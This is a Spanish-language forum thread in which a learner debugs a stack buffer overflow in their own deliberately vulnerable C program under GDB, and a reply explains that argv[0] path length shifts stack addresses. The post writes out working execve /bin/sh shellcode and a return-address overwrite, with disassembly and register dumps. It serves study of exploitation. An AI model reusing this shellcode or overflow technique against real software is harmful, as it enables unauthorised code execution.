Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
buff_a is stored at 0xbffff700.
buff_b is stored at 0xbffff6e8.
buff_c is stored at 0xbffff6c8.
process 4734 is executing new program: /bin/dash
$
Con breakpoint:
-- Desensamblo la función para saber donde me interesa meter el breakpoint:
(gdb) disassemble func
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
0x08048531 <+133>: leave
0x08048532 <+134>: ret
End of assembler dump.
-- Meto el breakpoint:
(gdb) break *func+133
Breakpoint 1 at 0x8048531
-- Vuelvo a ejecutar el programa:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
buff_a is stored at 0xbffff700.
buff_b is stored at 0xbffff6e8.
buff_c is stored at 0xbffff6c8.
Breakpoint 1, 0x08048531 in func ()
-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint:
(gdb) disassemble
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
=> 0x08048531 <+133>: leave
0x08048532 <+134>: ret
End of assembler dump.
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff6b0 0xbffff6b0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x8048531 0x8048531 <func+133>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-- Avanzo una instrucción:
(gdb) stepi
0x08048532 in func ()
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff72c 0xbffff72c
ebp 0x43434343 0x43434343
esi 0x0 0
edi 0x0 0
eip 0x8048532 0x8048532 <func+134>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
-- Consulto por que parte del código voy:
(gdb) disassemble
Dump of assembler code for function func:
0x080484ac <+0>: push %ebp
0x080484ad <+1>: mov %esp,%ebp
0x080484af <+3>: sub $0x78,%esp
0x080484b2 <+6>: lea -0x28(%ebp),%eax
0x080484b5 <+9>: mov %eax,0x4(%esp)
0x080484b9 <+13>: movl $0x8048620,(%esp)
0x080484c0 <+20>: call 0x8048360 <printf@plt>
0x080484c5 <+25>: lea -0x40(%ebp),%eax
0x080484c8 <+28>: mov %eax,0x4(%esp)
0x080484cc <+32>: movl $0x804863c,(%esp)
0x080484d3 <+39>: call 0x8048360 <printf@plt>
0x080484d8 <+44>: lea -0x60(%ebp),%eax
0x080484db <+47>: mov %eax,0x4(%esp)
0x080484df <+51>: movl $0x8048658,(%esp)
0x080484e6 <+58>: call 0x8048360 <printf@plt>
0x080484eb <+63>: movl $0x20,0x8(%esp)
0x080484f3 <+71>: mov 0x8(%ebp),%eax
0x080484f6 <+74>: mov %eax,0x4(%esp)
0x080484fa <+78>: lea -0x60(%ebp),%eax
0x080484fd <+81>: mov %eax,(%esp)
0x08048500 <+84>: call 0x80483b0 <strncpy@plt>
0x08048505 <+89>: movl $0x17,0x8(%esp)
0x0804850d <+97>: mov 0xc(%ebp),%eax
0x08048510 <+100>: mov %eax,0x4(%esp)
0x08048514 <+104>: lea -0x40(%ebp),%eax
0x08048517 <+107>: mov %eax,(%esp)
0x0804851a <+110>: call 0x80483b0 <strncpy@plt>
0x0804851f <+115>: lea -0x60(%ebp),%eax
0x08048522 <+118>: mov %eax,0x4(%esp)
0x08048526 <+122>: lea -0x28(%ebp),%eax
0x08048529 <+125>: mov %eax,(%esp)
0x0804852c <+128>: call 0x8048370 <strcpy@plt>
0x08048531 <+133>: leave
=> 0x08048532 <+134>: ret
End of assembler dump.
-- Avanzo una instrucción:
(gdb) stepi
Cannot access memory at address 0x43434347
-- Consulto el estado de los registros:
(gdb) info registers
eax 0xbffff700 -1073744128
ecx 0x0 0
edx 0x31 49
ebx 0xb7fd5ff4 -1208131596
esp 0xbffff730 0xbffff730
ebp 0x43434343 0x43434343
esi 0x0 0
edi 0x0 0
eip 0xbffff6c8 0xbffff6c8
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?
El código en C del programa es:
#include <stdio.h>
#include <string.h>
void func(char *str1, char *str2){
char buff_a[32];
char buff_b[24];
char buff_c[32];
printf(" buff_a is stored at %p.\n", &buff_a);
printf(" buff_b is stored at %p.\n", &buff_b);
printf(" buff_c is stored at %p.\n", &buff_c);
strncpy(buff_c, str1, sizeof(buff_c));
strncpy(buff_b, str2, sizeof(buff_b)-1);
strcpy(buff_a, buff_c);
}
int main(int argc, char *argv[]){
if ( argc < 3 ){
printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
exit(0);
}
func(argv[1], argv[2]);
return 0;
}
Un saludo.
Estimado, fijaos que no es lo mismo ejecutar el programa llamando una ruta absoluta
que una ruta relativa, por qué te preguntarás si el resultado es el mismo ???, porque en
argv[0] se almacena ésta información, por lo tanto si haces ./programa AAAA+Shellcode+jmp
no es lo mismo que ejecutar en la consola /home/user/Desktop/programas/programa AAAA+Shellcode+jmp,
te das cuenta que argv[0] en el segundo caso es más largo ya que debe almacenar la ruta absoluta??, eso qué implica ?? que en el segundo ejemplo te machacas mas bytes de la pila que en el primero .... lo más seguro que en tu caso para ejecutar lo haces en ruta relativa pero GDB lo hace con ruta absoluta y esto te machaca varios bytes por ende las direcciones no calzan .
espero haber ayudado en algo, estaba buscando una entrada en SecurityBydefault que habla sobre esto pero no lo he encontrado, apenas lo encuentre edito el post.
EDIT : te dejo el enlace que habla al respecto http://www.securitybydefault.com/2014/05/reversing-y-direcciones-de-memoria.html